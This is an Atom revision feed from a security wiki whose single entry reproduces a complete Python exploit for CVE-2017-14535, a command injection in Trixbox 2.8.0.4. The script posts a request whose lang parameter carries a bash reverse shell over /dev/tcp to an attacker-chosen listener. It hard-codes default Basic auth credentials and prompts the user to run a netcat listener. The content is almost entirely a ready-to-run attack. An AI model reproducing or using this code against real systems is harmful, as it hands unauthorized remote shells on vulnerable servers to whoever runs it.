<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2017-14535 Trixbox 2.8.0.4 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T01:04:22Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3602&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated) # Date: 27.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Credits to: http...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-14535_Trixbox_2.8.0.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3602&amp;oldid=prev"/>
		<updated>2021-05-28T09:48:44Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Trixbox 2.8.0.4 - &amp;#039;lang&amp;#039; Remote Code Execution (Unauthenticated) # Date: 27.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Credits to: http...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)&lt;br /&gt;
# Date: 27.05.2021&lt;br /&gt;
# Exploit Author: Ron Jost (Hacker5preme)&lt;br /&gt;
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/&lt;br /&gt;
# Credits to: Sachin Wagh&lt;br /&gt;
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/&lt;br /&gt;
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download&lt;br /&gt;
# Version: 2.8.0.4&lt;br /&gt;
# Tested on: Xubuntu 20.04&lt;br /&gt;
# CVE: CVE-2017-14535&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Description:&lt;br /&gt;
trixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Import required modules:&lt;br /&gt;
'''&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
User-input:&lt;br /&gt;
'''&lt;br /&gt;
target_ip = sys.argv[1]&lt;br /&gt;
target_port = sys.argv[2]&lt;br /&gt;
listen_ip = sys.argv[3]&lt;br /&gt;
listen_port = sys.argv[4]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Construct malicious request:&lt;br /&gt;
'''&lt;br /&gt;
# Construct header:&lt;br /&gt;
header = {&lt;br /&gt;
    'Host': target_ip,&lt;br /&gt;
    'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',&lt;br /&gt;
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',&lt;br /&gt;
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',&lt;br /&gt;
    'Accept-Encoding': 'gzip, deflate',&lt;br /&gt;
    'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',&lt;br /&gt;
    'Connection': 'close',&lt;br /&gt;
    'Upgrade-Insecure-Requests': '1',&lt;br /&gt;
    'Cache-Control': 'max-age=0'&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Construct malicious link:&lt;br /&gt;
link_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'&lt;br /&gt;
link_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'&lt;br /&gt;
link = link_p1 + link_p2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
Finish: EXPLOIT!!!&lt;br /&gt;
'''&lt;br /&gt;
print('')&lt;br /&gt;
print('')&lt;br /&gt;
print('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)&lt;br /&gt;
print('')&lt;br /&gt;
time.sleep(2)&lt;br /&gt;
Ready = input(&amp;quot;If you're done and want to start the exploit please input EXPLOIT: &amp;quot;)&lt;br /&gt;
if Ready == 'EXPLOIT':&lt;br /&gt;
    print('')&lt;br /&gt;
    print('Exploit sent, check your Netcat instance :)')&lt;br /&gt;
    x = requests.post(link, headers=header)&lt;br /&gt;
else:&lt;br /&gt;
    print('TRY AGAIN')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>